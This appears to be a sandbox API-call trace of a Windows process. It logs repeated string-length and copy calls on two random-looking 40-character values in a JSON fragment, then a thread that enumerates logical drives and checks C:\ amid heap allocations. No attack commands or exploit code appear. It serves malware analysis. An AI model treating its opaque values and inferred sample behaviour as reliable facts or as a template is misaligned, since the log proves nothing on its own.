(lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.908] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.908] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.908] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.908] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.908] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.908] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.908] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.908] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.908] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.908] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.908] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f533c8 [0120.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8ba) returned 0x2fd3210 [0120.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2f533c8, cbMultiByte=-1, lpWideCharStr=0x2fd3210, cchWideChar=1117 | out: lpWideCharStr="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 94 [0120.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8c0) returned 0x2fd6a18 [0120.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fd3210 | out: hHeap=0x5b0000) returned 1 [0120.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f533c8 | out: hHeap=0x5b0000) returned 1 [0120.909] lstrcpyW (in: lpString1=0x464f20, lpString2="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" | out: lpString1="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" [0120.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fd6a18 | out: hHeap=0x5b0000) returned 1 [0120.909] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbc) returned 0x2fb0c40 [0120.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x982a778, cbMultiByte=-1, lpWideCharStr=0x2fb0c40, cchWideChar=94 | out: lpWideCharStr="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 94 [0120.910] lstrcpyW (in: lpString1=0x464f20, lpString2="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" | out: lpString1="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" [0120.910] lstrlenW (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw") returned 40 [0120.910] lstrlenA (lpString="\",\"line2\":\"") returned 11 [0120.910] lstrcpyA (in: lpString1=0x982ab78, lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" | out: lpString1="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" [0120.910] lstrcpyA (in: lpString1=0x982a778, lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" | out: lpString1="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.910] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.911] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.911] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.911] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.911] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.911] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.911] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.911] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.911] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc038 [0120.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x854) returned 0x2fd3210 [0120.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2fcc038, cbMultiByte=-1, lpWideCharStr=0x2fd3210, cchWideChar=1066 | out: lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 43 [0120.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x2fd6a18 [0120.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fd3210 | out: hHeap=0x5b0000) returned 1 [0120.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc038 | out: hHeap=0x5b0000) returned 1 [0120.911] lstrcpyW (in: lpString1=0x46c450, lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" | out: lpString1="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" [0120.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fd6a18 | out: hHeap=0x5b0000) returned 1 [0120.911] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0120.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x56) returned 0x2ff0360 [0120.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x982a778, cbMultiByte=-1, lpWideCharStr=0x2ff0360, cchWideChar=43 | out: lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 43 [0120.911] lstrcpyW (in: lpString1=0x46c450, lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" | out: lpString1="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" [0120.911] lstrlenW (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw") returned 40 [0120.911] lstrlenW (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 40 [0120.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fd50f0 | out: hHeap=0x5b0000) returned 1 [0120.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fd2450 | out: hHeap=0x5b0000) returned 1 Thread: id = 236 os_tid = 0x598 [0121.167] timeGetTime () returned 0x9bef [0121.167] GetLastError () returned 0x54f [0121.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3bc) returned 0x2fd8080 [0121.167] GetCurrentThreadId () returned 0x598 [0121.167] SetLastError (dwErrCode=0x54f) [0121.167] Sleep (dwMilliseconds=0x0) [0121.169] Sleep (dwMilliseconds=0x3e8) [0122.174] GetLogicalDrives () returned 0x4 [0122.174] SetErrorMode (uMode=0x1) returned 0x0 [0122.175] PathFileExistsA (pszPath="C:\\") returned 1 [0122.175] SetErrorMode (uMode=0x0) returned 0x1 [0122.175] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0122.176] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x806) returned 0x307ad38 [0122.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38efe60, cbMultiByte=-1, lpWideCharStr=0x307ad38, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0122.176] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x30667b8 [0122.176] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x2fbab40 [0122.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.177] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: 